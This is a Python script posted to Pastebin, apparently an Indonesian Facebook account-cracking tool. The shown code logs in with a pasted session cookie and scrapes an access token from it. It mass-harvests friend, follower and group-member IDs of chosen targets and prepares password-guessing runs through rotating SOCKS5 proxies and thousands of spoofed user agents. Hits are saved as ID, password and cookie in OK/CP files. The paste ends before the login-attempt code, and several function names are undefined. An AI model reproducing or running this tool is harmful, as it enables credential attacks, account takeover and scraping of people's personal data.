OBF-XIn

116.206.9.58-/sdcard/son2.py.py

Jan 19th, 2023
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 53.34 KB | None | 0 0
  1. #-----------------[ IMPORT-MODULE ]-------------------
  2. import requests,bs4,json,os,sys,random,datetime,time,re
  3. import urllib3,rich,base64
  4. from rich.table import Table as me
  5. from rich.console import Console as sol
  6. from bs4 import BeautifulSoup as sop
  7. from concurrent.futures import ThreadPoolExecutor as tred
  8. from rich.console import Group as gp
  9. from rich.panel import Panel as nel
  10. from rich import print as cetak
  11. from rich.markdown import Markdown as mark
  12. from rich.columns import Columns as col
  13. from rich import print as rprint
  14. from rich import pretty
  15. from rich.text import Text as tekz
  16. pretty.install()
  17. CON=sol()
  18. #------------------[ USER-AGENT ]-------------------#
  19. ugen2=[]
  20. ugen=[]
  21. cokbrut=[]
  22. ses=requests.Session()
  23. princp=[]
  24. try:
  25.     prox= requests.get('https://github.com/Chigozieworldwide/XFORD/blob/main/socks5.txt').text
  26.     open('.socks5.txt','w').write(prox)
  27. except Exception as e:
  28.     print('')
  29. prox=open('.socks5.txt','r').read().splitlines()
  30. for xd in range(10000):
  31.     a='Mozilla/5.0 (Symbian/3; Series60/'
  32.     b=random.randrange(1, 9)
  33.     c=random.randrange(1, 9)
  34.     d='Nokia'
  35.     e=random.randrange(100, 9999)
  36.     f='/110.021.0028; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) NokiaBrowser/'
  37.     g=random.randrange(1, 9)
  38.     h=random.randrange(1, 4)
  39.     i=random.randrange(1, 4)
  40.     j=random.randrange(1, 4)
  41.     k='Mobile Safari/535.1'
  42.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  43.     ugen2.append(uaku)
  44.  
  45.  
  46.     aa='Mozilla/5.0 (Linux; U; Android 7.1.2;'
  47.     b=random.choice(['6','7','8','9','10','11','12'])
  48.     c='en-US; Redmi 4A Build/N2G47H)'
  49.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  50.     e=random.randrange(1, 999)
  51.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  52.     g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.108 UCBrowser/13.3.5.1304'
  53.     h=random.randrange(73,100)
  54.     i='0'
  55.     j=random.randrange(4200,4900)
  56.     k=random.randrange(40,150)
  57.     l='Mobile Safari/537.36'
  58.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  59.     ugen.append(uaku2)
  60. for x in range(10):
  61.     a='Mozilla/5.0 (Linux; Android 9; ASUS_A001D Build/PPR1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.85 Mobile Safari/537.36'
  62.     uak=f'{a}'
  63. def uaku():
  64.     try:
  65.         ua=open('AllUa','r').read().splitlines()
  66.         for ub in ua:
  67.             ugen.append(ub)
  68.     except:
  69.         a=requests.get('https://github.com/BlackB07/UserAgent/blob/main/AllUa').text
  70.         ua=open('.AllUa','w')
  71.         aa=re.findall('line">(.*?)<',str(a))
  72.         for un in aa:
  73.             ua.write(un+'\n')
  74.         ua=open('.AllUa','r').read().splitlines()
  75. #------------[ INDICATION ]---------------#
  76. id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
  77. cokbrut=[]
  78. pwpluss,pwnya=[],[]
  79. #------------[ WARNA-COLOR ]--------------#
  80. P = '\x1b[1;97m'
  81. M = '\x1b[1;91m'
  82. H = '\x1b[1;92m'
  83. K = '\x1b[1;93m'
  84. B = '\x1b[1;94m'
  85. U = '\x1b[1;95m'
  86. O = '\x1b[1;96m'
  87. N = '\x1b[0m'    
  88. Z = "\033[1;30m"
  89. sir = '\033[41m\x1b[1;97m'
  90. x = '\33[m' # DEFAULT
  91. m = '\x1b[1;91m' #RED +
  92. k = '\033[93m' # KUNING +
  93. h = '\x1b[1;92m' # HIJAU +
  94. hh = '\033[32m' # HIJAU -
  95. u = '\033[95m' # UNGU
  96. kk = '\033[33m' # KUNING -
  97. b = '\33[1;96m' # BIRU -
  98. p = '\x1b[0;34m' # BIRU +
  99. asu = random.choice([m,k,h,u,b])
  100. #--------------------[ CONVERTER-BULAN ]--------------#
  101. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  102. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  103. tgl = datetime.datetime.now().day
  104. bln = dic[(str(datetime.datetime.now().month))]
  105. thn = datetime.datetime.now().year
  106. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  107. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  108. #------------------[ MACHINE-SUPPORT ]---------------#
  109. def moch_lux(u):
  110.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
  111. def clear():
  112.     os.system('clear')
  113. def back():
  114.     login()
  115. #------------------[ LOGO-LAKNAT ]-----------------#
  116. def banner():
  117.     clear()
  118.     print(f'{P}[{H}✓{P}] AUTHOR : LUXINE-DEV')
  119.     print(f"{P}[{H}✓{P}] GITHUB : LUXINE-DEV17")
  120.     print(f'{P}[{H}✓{P}] WA     : 0896908****')
  121.     print(f'{P}[{H}✓{P}] STATUS : PAID')
  122. #--------------------[ BAGIAN-MASUK ]--------------#
  123. def login():
  124.     try:
  125.         token = open('.tok.txt','r').read()
  126.         cok = open('.cok.txt','r').read()
  127.         tokenku.append(token)
  128.         try:
  129.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  130.             sy2 = json.loads(sy.text)['name']
  131.             sy3 = json.loads(sy.text)['id']
  132.             menu()
  133.         except KeyError:
  134.             login_lagi334()
  135.         except requests.exceptions.ConnectionError:
  136.             li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
  137.             lo = mark(li, style='red')
  138.             sol().print(lo, style='cyan')
  139.             exit()
  140.     except IOError:
  141.         login_lagi334()
  142. def login_lagi334():
  143.     try:
  144.         os.system('clear')
  145.         banner()
  146.         cookie=input(f'{P}[?] COOKIE  :  ')
  147.         data = requests.get("https://business.facebook.com/business_locations", headers = {"user-agent": "Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.92 Mobile Safari/537.36","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cookie})
  148.         find_token = re.search("(EAAG\w+)", data.text)
  149.         ken=open(".tok.txt", "w").write(find_token.group(1))
  150.         cok=open(".cok.txt", "w").write(cookie)
  151.     except Exception as e:
  152.         os.system("rm -f .tok.txt")
  153.         os.system("rm -f .cok.txt")
  154. def login_appendi():
  155.     try:
  156.         token = open('.tok.txt','r').read()
  157.         cok = open('.cok.txt','r').read()
  158.         tokenku.append(token)
  159.         try:
  160.             _belajar_dulu_baru_ngoding = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  161.             menu()
  162.         except KeyError:
  163.             login_append()
  164.         except requests.exceptions.ConnectionError:
  165.             exit()
  166.     except IOError:
  167.         login_append()
  168. def login_append():
  169.     try:
  170.         os.system('clear')
  171.         banner()
  172.         ses = requests.Session()
  173.         print(f'{B}• {P}1. crack file')
  174.         print(f'{B}• {P}2. login cookie')
  175.         menuxc = input(f'{B}• {P}Pilih : ')
  176.         if menuxc in['1','01']:
  177.             _luxine_file()
  178.         else:
  179.             print('')
  180.         cookie = input(f'\n{B}• {P}masukan cookie : ')
  181.         cookies = {'cookie':cookie}
  182.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  183.         req = ses.get(url,cookies=cookies)
  184.         set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
  185.         nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
  186.         roq = ses.get(nek,cookies=cookies)
  187.         tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
  188.         tokenw = open(".tok.txt", "w").write(tok)
  189.         cokiew = open(".cok.txt", "w").write(cookie)
  190.         print(f'\n{B}• {P}login berhasil ')
  191.         ketix = input(f'{B}• {P}ketik {H}open {P}untuk masuk kedalam menu : ')
  192.         if open in ['open','Open','OPEN']:
  193.             login_appendi()
  194.         else:
  195.             login_appendi()
  196.     except Exception as e:
  197.         os.system("rm -f .tok.txt")
  198.         os.system("rm -f .cok.txt")
  199.         print(f'{B}• {P}login error')
  200.         exit()
  201. #------------------[ BAGIAN-MENU ]----------------#
  202. def menu():
  203.     try:
  204.         token = open('.tok.txt','r').read()
  205.         cok = open('.cok.txt','r').read()
  206.     except IOError:
  207.         time.sleep(5)
  208.         login_lagi334()
  209.     os.system('clear')
  210.     banner()
  211.     ip = requests.get("https://api.ipify.org").text
  212.     print('')
  213.     cetak(nel("""[white][[blue]01[white]]. CRACK PERTEMENAN
  214. [white][[blue]02[white]]. CRACK FOLLWER
  215. [white][[blue]03[white]]. CRACK FILE
  216. [white][[blue]04[white]]. CRACK GRUP
  217. [white][[blue]05[white]]. CRACK RANDOM ID
  218. [white][[blue]06[white]]. CLONE 2009-2015
  219. [white][[blue]07[white]]. MENU [green]BOT[white]
  220. [white][[blue]08[white]]. Kembali"""))
  221.     obf_x = input('\n└──> menu : ')
  222.     if obf_x in ['1','01']:
  223.         haykrek()
  224.     elif obf_x in ['2','02']:
  225.         krek_pengikut()
  226.     elif obf_x in ['3','03']:
  227.         rking()
  228.     elif obf_x in ['4','04']:
  229.         krek_grup()
  230.     elif obf_x in ['5','05']:
  231.         error()
  232.     elif obf_x in ['00','0']:
  233.         word = input(f'└──> apakah anda ingin menghapus cookie anda (y/t) : ')
  234.         if word in ['t','T']:
  235.             exit()
  236.         else:
  237.             os.system('rm -rf .tok.txt')
  238.             os.system('rm -rf .cok.txt')
  239.             exit()
  240.     else:
  241.         back()
  242. def haykrek():
  243.     print("")
  244.     cetak(nel("""[white]KETIK [green]y [white]JIKA INGIN CRACK MASSAL KETIK [red]t [white]UNTUK CRACK PUBLIK"""))
  245.     sayangkamuz = input(f'{P}└──> apakah anda ingin crack massal : ')
  246.     if sayangkamuz in ['y','Y']:
  247.         eaku()
  248.     elif sayangkamuz in ['t','T']:
  249.         _publik_()
  250. def error():
  251.     cetak(nel("""[white]halo maaf anda tidak dapet memakai menu ini karna anda bukan daftar dari oranh premium"""))
  252.     time.sleep(4)
  253.     back()
  254. #-----------------[ HASIL-CRACK ]-----------------#
  255. def result():
  256.     print('>> Hasil OK Anda ')
  257.     print('>> Hasil CP Anda ')
  258.     print('>> Kembali   ')
  259.     kz = input('\n>> Pilih : ')
  260.     if kz in ['1','01']:
  261.         try:vin = os.listdir('CP')
  262.         except FileNotFoundError:
  263.             print('>> File Tidak Di Temukan ')
  264.             time.sleep(3)
  265.             back()
  266.         if len(vin)==0:
  267.             print('>> Anda Tidak Memiliki Hasil CP ')
  268.             time.sleep(2)
  269.             back()
  270.         else:
  271.             cih = 0
  272.             lol = {}
  273.             for isi in vin:
  274.                 try:hem = open('CP/'+isi,'r').readlines()
  275.                 except:continue
  276.                 cih+=1
  277.                 if cih<10:
  278.                     nom = '0'+str(cih)
  279.                     lol.update({str(cih):str(isi)})
  280.                     lol.update({nom:str(isi)})
  281.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  282.                 else:
  283.                     lol.update({str(cih):str(isi)})
  284.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  285.             geeh = input('\n>> Pilih : ')
  286.             try:geh = lol[geeh]
  287.             except KeyError:
  288.                 print('>> Pilih Yang Bener Kontol ')
  289.                 exit()
  290.             try:lin = open('CP/'+geh,'r').read().splitlines()
  291.             except:
  292.                 print('>> File Tidak Di Temukan ')
  293.                 time.sleep(2)
  294.                 back()
  295.             nocp=0
  296.             for cpku in range(len(lin)):
  297.                 cpkuni=lin[nocp].split('|')
  298.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  299.                 sol().print(mark(cpkuh,style="yellow"))
  300.                 nocp +=1
  301.             input('[ Klik Enter ]')
  302.             back()
  303.     elif kz in ['2','02']:
  304.         try:vin = os.listdir('OK')
  305.         except FileNotFoundError:
  306.             print('>> File Tidak Di Temukan ')
  307.             time.sleep(2)
  308.             back()
  309.         if len(vin)==0:
  310.             print('>> Anda Tidak Mempunyai File OK ')
  311.             time.sleep(2)
  312.             back()
  313.         else:
  314.             cih = 0
  315.             lol = {}
  316.             for isi in vin:
  317.                 try:hem = open('OK/'+isi,'r').readlines()
  318.                 except:continue
  319.                 cih+=1
  320.                 if cih<100:
  321.                     nom = '0'+str(cih)
  322.                     lol.update({str(cih):str(isi)})
  323.                     lol.update({nom:str(isi)})
  324.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  325.                 else:
  326.                     lol.update({str(cih):str(isi)})
  327.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  328.             geeh = input('\n>> Pilih : ')
  329.             try:geh = lol[geeh]
  330.             except KeyError:
  331.                 print('>> Pilih Yang Bener Kontol ')
  332.                 exit()
  333.             try:lin = open('OK/'+geh,'r').read().splitlines()
  334.             except:
  335.                 print('>> File Tidak Di Temukan ')
  336.                 time.sleep(2)
  337.                 back()
  338.             nocp=0
  339.             for cpku in range(len(lin)):
  340.                 cpkuni=lin[nocp].split('|')
  341.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  342.                 sol().print(mark(cpkuh,style="green"))
  343.                 print(f'{hh}COOKIE : {x}{cpkuni[2]}')
  344.                 nocp +=1
  345.             input('[ Klik Enter ]')
  346.             back()
  347.     elif kz in ['0','00']:
  348.         back()
  349.     else:
  350.         print('>> Pilih Yang Bener Kontol ')
  351.         exit()
  352. def _publik_():
  353.     try:
  354.         token = open('.tok.txt','r').read()
  355.         kukis = open('.cok.txt','r').read()
  356.     except IOError:
  357.         exit()
  358.     pil = input(f'└──> ID/USERNAME  : ')
  359.     try:
  360.         koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  361.         for pi in koh2['friends']['data']:
  362.             try:id.append(pi['id']+'|'+pi['name'])
  363.             except:continue
  364.         print('')
  365.         print(f' TOTAL {H}{len(id)}{P}')
  366.         _lanjut_()
  367.     except requests.exceptions.ConnectionError:
  368.         print(' Internetmu abis')
  369.         exit()
  370.     except (KeyError,IOError):
  371.         print('Pertemanan Tidak Publick')
  372.         exit()
  373. def _publik_s():
  374.     try:
  375.         token = open('.tok.txt','r').read()
  376.         cok = open('.cok.txt','r').read()
  377.     except IOError:
  378.         print("")
  379.     #   exit()
  380.     pil = input(f'└──> ID/USERNAME : ')
  381.     try:
  382.         koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookies': cok}).json()
  383.         for pi in koh2['friends']['data']:
  384.             try:id.append(pi['id']+'|'+pi['name'])
  385.             except:continue
  386.         print('')
  387.         print(f' ID {H}{len(id)}{P}')
  388.         atur_id()
  389.     except requests.exceptions.ConnectionError:
  390.         print(' Internetmu abis')
  391.         exit()
  392.     except (KeyError,IOError):
  393.         print('Pertemanan Tidak Publick')
  394.         exit()
  395. #-------------------[ CRACK-PUBLIK ]----------------#
  396. def eaku():
  397.     try:
  398.         token = open('.tok.txt','r').read()
  399.         cok = open('.cok.txt','r').read()
  400.     except IOError:
  401.         exit()
  402.     try:
  403.         jum = int(input(f'└──> BERAPA ID  : '))
  404.     except ValueError:
  405.         exit()
  406.     if jum<1 or jum>100:
  407.         exit()
  408.     ses=requests.Session()
  409.     yz = 0
  410.     for met in range(jum):
  411.         yz+=1
  412.         kl = input(f'└──> ID {yz} : ')
  413.         uid.append(kl)
  414.     for userr in uid:
  415.         try:
  416.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  417.             for mi in col['friends']['data']:
  418.                 try:
  419.                     iso = (mi['id']+'|'+mi['name'])
  420.                     if iso in id:pass
  421.                     else:id.append(iso)
  422.                 except:continue
  423.         except (KeyError,IOError):
  424.             pass
  425.         except requests.exceptions.ConnectionError:
  426.             exit()
  427.     try:
  428.         print('')
  429.         print(f'TOTAL ID : {len(id)}')
  430.         _lanjut_()
  431.     except requests.exceptions.ConnectionError:
  432.         print(f'{x}')
  433.         back()
  434.     except (KeyError,IOError):
  435.         print(f'Pertemanan Tidak Public {x}')
  436.         time.sleep(3)
  437.         back()
  438. #-------------------[ CRACK-PENGIKUT ]----------------#
  439. def krek_pengikut():
  440.     try:
  441.         token = open('.token.txt','r').read()
  442.         cok = open('.cok.txt','r').read()
  443.     except IOError:
  444.         exit()
  445.     pil = input('└──> Masukkan Idz Target : ')
  446.     try:
  447.         koh2 = requests.get('https://graph.facebook.com/'+pil+'?fields=subscribers.limit(99999)&access_token='+tokenku[0],cookies={'cookie': cok}).json()
  448.         for pi in koh2['subscribers']['data']:
  449.             try:id.append(pi['id']+'|'+pi['name'])
  450.             except:continue
  451.         setting()
  452.     except requests.exceptions.ConnectionError:
  453.         print('>> Koneksi Internet Bermasalah ')
  454.         exit()
  455.     except (KeyError,IOError):
  456.         print('>> Gagal Mengambil Target ')
  457.         exit()
  458. #------------------[ CRACK-GRUP ]-----------------#
  459. balmond = b+"["+h+"✓"+b+"]"
  460.  
  461. def lah():
  462.     print(f'TOTAL ID : {len(id)}')
  463.     pass
  464.     _lanjut_()
  465. def krek_grup():
  466.     print('')
  467.     id = input(f'{P}└──> ID/URL GRUP : ')
  468.     ua = 'Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba'
  469.     miskinlu = {"user-agent": ua}
  470.     url = "https://mbasic.facebook.com/groups/"+id
  471.     ses = requests.Session()
  472.     try:
  473.         gn = parser(ses.get(url, headers=miskinlu).text, 'html.parser')
  474.     except requests.exceptions.ConnectionError:
  475.         print(balmond+m+" Koneksi Internet Terputus..")
  476.         time.sleep(0.5)
  477.         exit()
  478.     berr = gn.find("title")
  479.     berr2 = berr.text.replace(" | Facebook","").replace(" Grup Publik","")
  480.     if berr2=='Masuk Facebook':
  481.         print(balmond+m+" Limit, Silahkan Mode Pesawat Dan Coba Lagi..")
  482.         time.sleep(0.5)
  483.         crack_grup()
  484.     elif berr2=='Kesalahan':
  485.         jalan(balmond+m+" Grup Tidak Ditemukan..")
  486.         time.sleep(0.5)
  487.         crack_grup()
  488.     else:pass
  489.     print(""+balmond+p+" \x1b[1;94m>> Nama Grup :\x1b[1;97m "+berr2)
  490.     ggs = gn.find_all('table')
  491.     ang = []
  492.     for ff in ggs:
  493.         anggo = ff.text
  494.         bro = anggo.replace('Anggota','')
  495.         try:
  496.             mex = int(bro)
  497.             jumlah = ang.append(mex)
  498.         except:
  499.             pass
  500.     if len(ang)==0:
  501.         print(balmond+h+" Anggota : -")
  502.     else:
  503.         print(balmond+h+" \x1b[1;94m MEMBER :\x1b[1;97m "+str(ang[0]))
  504.     grup1(url)
  505. def grup1(urls):
  506.     use = []
  507.     ses = requests.Session()
  508.     while True:
  509.         try:
  510.             ua = 'Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba'
  511.             miskinlu = {"user-agent": ua}
  512.             try:
  513.                 url = use[0]
  514.             except:
  515.                 url = urls
  516.             set = parser(ses.get(url, headers=miskinlu).text, "html.parser")
  517.             bf2 = set.find_all('a')
  518.             for g in bf2:
  519.                 css = str(g).split('>')
  520.                 if 'Lihat Postingan Lainnya</span' in css:
  521.                     bcj = str(g).replace('<a href="','').replace('amp;','')
  522.                     bcj2 = bcj.split(' ')[0].replace('"><img','')
  523.             tes = set.find_all('table')
  524.             for cari in tes:
  525.                 liatnih = cari.text
  526.                 spl = liatnih.split(' ')
  527.                 if 'mengajukan' in spl:
  528.                     idsiapa = re.findall('content_owner_id_new.\w+',str(cari))
  529.                     idyou = idsiapa[0].replace('content_owner_id_new.','')
  530.                     namayou = liatnih.replace(' mengajukan pertanyaan .','')
  531.                     idku = idyou+'|'+namayou
  532.                     if idku in id:
  533.                         continue
  534.                     else:
  535.                         id.append(idku)
  536.                         print(("\r"+balmond+h+" { "+k+"Proses Mengambil ID "+str(len(id))+h+" }"), end="");sys.stdout.flush()
  537.                 elif '>' in spl:
  538.                     idsiapa = re.findall('content_owner_id_new.\w+',str(cari))
  539.                     idyou = idsiapa[0].replace('content_owner_id_new.','')
  540.                     namayou = liatnih.split(' > ')[0]
  541.                     idku = idyou+'|'+namayou
  542.                     if idku in id:
  543.                         continue
  544.                     else:
  545.                         id.append(idku)
  546.                         print(("\r"+balmond+h+" { "+O+"Mengumpulkan ID "+str(len(id))+h+" }"), end="");sys.stdout.flush()
  547.                 else:
  548.                     continue
  549.             try:
  550.                 link_ = bcj2
  551.                 use.insert(0,'https://mbasic.facebook.com'+link_)
  552.             except:
  553.                 girang = set.find('title')
  554.                 girang2 = girang.text.replace(" | Facebook","").replace(" Grup Publik","")
  555.                 if girang2=='Masuk Facebook':
  556.                     pass
  557.                 else:
  558.                     lah()
  559.         except requests.exceptions.ConnectionError:
  560.             try:
  561.                 time.sleep(31)
  562.             except KeyboardInterrupt:
  563.                 lah()
  564.         except KeyboardInterrupt:
  565.             lah()
  566. #-------------[ CRACK-FROM-FILE ]------------------#
  567. def crack_file():
  568.     try:vin = os.listdir('DUMP')
  569.     except FileNotFoundError:
  570.         print('>> File Tidak Ditemukan ')
  571.         time.sleep(2)
  572.         back()
  573.     if len(vin)==0:
  574.         print('>> Kamu Tidak Memiliki File Dump ')
  575.         time.sleep(2)
  576.         back()
  577.     else:
  578.         cih = 0
  579.         lol = {}
  580.         for isi in vin:
  581.             try:hem = open('DUMP/'+isi,'r').readlines()
  582.             except:continue
  583.             cih+=1
  584.             if cih<100:
  585.                 nom = ''+str(cih)
  586.                 lol.update({str(cih):str(isi)})
  587.                 lol.update({nom:str(isi)})
  588.                 print(f'>> %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
  589.             else:
  590.                 lol.update({str(cih):str(isi)})
  591.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  592.                 print('>> %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
  593.         geeh = input('\n>> Pilih : ')
  594.         try:geh = lol[geeh]
  595.         except KeyError:
  596.             print(f'{k}>> Pilih Yang Bener Kontol {x}')
  597.             time.sleep(3)
  598.             back()
  599.         try:lin = open('DUMP/'+geh,'r').read().splitlines()
  600.         except:
  601.             print('>> File Tidak Ditemukan, Coba Lagi Nanti ')
  602.             time.sleep(2)
  603.             back()
  604.         for xid in lin:
  605.             id.append(xid)
  606.         setting()
  607. #-------------[ PENGATURAN-IDZ ]---------------#
  608. def _atur_():
  609.     #print(f'{P[01]. crack old')
  610.     print(f'{P}[02]. crack new')
  611.     print('[03]. crack random')
  612.     print('')
  613.     hu = input('└──> Pilih : ')
  614.     if hu in ['1','01']:
  615.         for tua in sorted(id):
  616.             id2.append(tua)
  617.  
  618.     elif hu in ['2','02']:
  619.         muda=[]
  620.         for bacot in sorted(id):
  621.             muda.append(bacot)
  622.         bcm=len(muda)
  623.         bcmi=(bcm-1)
  624.         for xmud in range(bcm):
  625.             id2.append(muda[bcmi])
  626.             bcmi -=1
  627.     elif hu in ['3','03']:
  628.         for bacot in id:
  629.             xx = random.randint(0,len(id2))
  630.             id2.insert(xx,bacot)
  631.     else:
  632.         exit()
  633.     print('>> 1. Mobile ')
  634.     print('>> 2. Mbasic ')
  635.     print('>> 3. Touch  ')
  636.     print('')
  637.     hc = input('>> Pilih : ')
  638.     if hc in ['1','01']:
  639.         method.append('mobile')
  640. #   elif hc in ['2','02']:
  641. #       method.append('free')
  642. #   elif hc in ['3','03']:
  643. #       method.append('touch')
  644.     elif hc in ['4','04']:
  645.         method.append('mbasic')
  646.     else:
  647.         method.append('mobile')
  648.     print('')
  649. #   _jembot_ = input('>> Tambahkan Aplikasi Terkait ( Y/t ) ')
  650. #   if _jembot_ in ['']:
  651. #       print('>> Pilih Yang Bener Kontol ')
  652. #       back()
  653. #   elif _jembot_ in ['y','Y']:
  654. #       taplikasi.append('ya')
  655. #   else:
  656. #       taplikasi.append('no')
  657.     pwplus=input('>> Tambahkan Password Manual ( Y/t ) ')
  658.     if pwplus in ['y','Y']:
  659.         pwpluss.append('ya')
  660.         cetak(nel('[[cyan]•[white]] Masukkan Katasandi Tambahan Minimal 6 Karakter\n[[cyan]•[white]] Contoh :[green] kakak,ngentod,adik[white] '))
  661.         pwku=input('>> Masukkan Password Tambahan : ')
  662.         pwkuh=pwku.split(',')
  663.         for xpw in pwkuh:
  664.             pwnya.append(xpw)
  665.     else:
  666.         pwpluss.append('no')
  667.     passwrd()
  668. def rking():
  669.     try:vin = os.listdir('/sdcard/RKING')
  670.     except FileNotFoundError:
  671.         print('>> File Tidak Ditemukan ')
  672.         time.sleep(2)
  673.         back()
  674.     if len(vin)==0:
  675.         print('')
  676.         kontol = input(f'\n{B}• {P}ENTER')
  677.         if kontil in ['']:
  678.             time.sleep(3)
  679.             back()
  680.             exit()
  681.         print('>> Anda Tidak Memiliki File Dump ')
  682.         time.sleep(2)
  683.         back()
  684.     else:
  685.         cih = 0
  686.         lol = {}
  687.         for isi in vin:
  688.             try:hem = open('/sdcard/RKING/'+isi,'r').readlines()
  689.             except:continue
  690.             cih+=1
  691.             if cih<100:
  692.                 nom = ''+str(cih)
  693.                 lol.update({str(cih):str(isi)})
  694.                 lol.update({nom:str(isi)})
  695.                 print(f' %s. %s ({h} %s{x} )'%(nom,isi,len(hem)))
  696.             else:
  697.                 lol.update({str(cih):str(isi)})
  698.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  699.                 print(f'{P}[{H}{cih}{P}] {isi} : {len(hem)}')
  700.         geeh = input(f'\n└──> FILE : ')
  701.         try:geh = lol[geeh]
  702.         except KeyError:
  703.             print("\t")
  704.             time.sleep(3)
  705.             back()
  706.         try:lin = open('/sdcard/RKING/'+geh,'r').read().splitlines()
  707.         except:
  708.             time.sleep(2)
  709.             back()
  710.         for xid in lin:
  711.             id.append(xid)
  712.         _lanjut_()
  713. #def ua_fb():
  714. #   return ("Mozilla/5.0 (Linux; Android 12; CPH2219 Build/RKQ1.211119.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.85 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/397.0.0.23.404;]")
  715. def _lanjut_():
  716.     for bacot in id:
  717.         xx = random.randint(0,len(id2))
  718.         id2.insert(xx,bacot)
  719.     print('')
  720.     cetak(nel("""[white][[green]01[white]]. validate
  721. [white][[green]02[white]]. reguler"""))
  722. #   print(f'{P}[{H}01{P}]. VALIDATE')
  723. #   print(f'{P}[{H}02{P}]. REGULER')
  724.     hc = input(f'└──> URL : ')
  725.     print('')
  726.     if hc in ['1','01']:
  727.         method.append('mobile')
  728.         setpw()
  729.     elif hc in ['2','02']:
  730.         method.append('free')
  731.         setpw()
  732.     elif hc in ['3s','0s3']:
  733.         print('')
  734.     else:
  735.         print('ulang')
  736.         _lanjut_()
  737. def validate():
  738.     print(f'{P}[{M}01{P}] m.facebook')
  739.     print(f'{P}[{M}02{P}] free.facebook')
  740.     print(f'{P}[{M}03{P}] mbasic.facebook')
  741.     vali = input(f'{B}• {P}validate metode : ')
  742.     if vali in ['1','01']:
  743.         method.append('mobile')
  744.         set_cok()
  745.     elif vali in ['4','04']:
  746.         method.append('cokiees')
  747.         set_cok()
  748.     else:
  749.         method.append('mobile')
  750.         set_cok()
  751. def reguler():
  752.     print(f'{P}[{M}01{P}] m.facebook')
  753.     print(f'{P}[{M}02{P}] free.facebook')
  754.     print(f'{P}[{M}03{P}] mbasic.facebook')
  755.     reg = input(f'{B}• {P}reguler metode : ')
  756.     method.append('free')
  757.     set_cok()
  758. def set_cok():
  759.     setpw()
  760. def api():
  761.     print(f'---------------[ API ]---------------')
  762.     print(f'{P}[{M}01{P}] b-api graph')
  763.     ap = input(f'{B}• {P}Metode : ')
  764.     method.append('free')
  765.     set_cok = input(f'{B}• {P}Tampilkan Cookie : ')
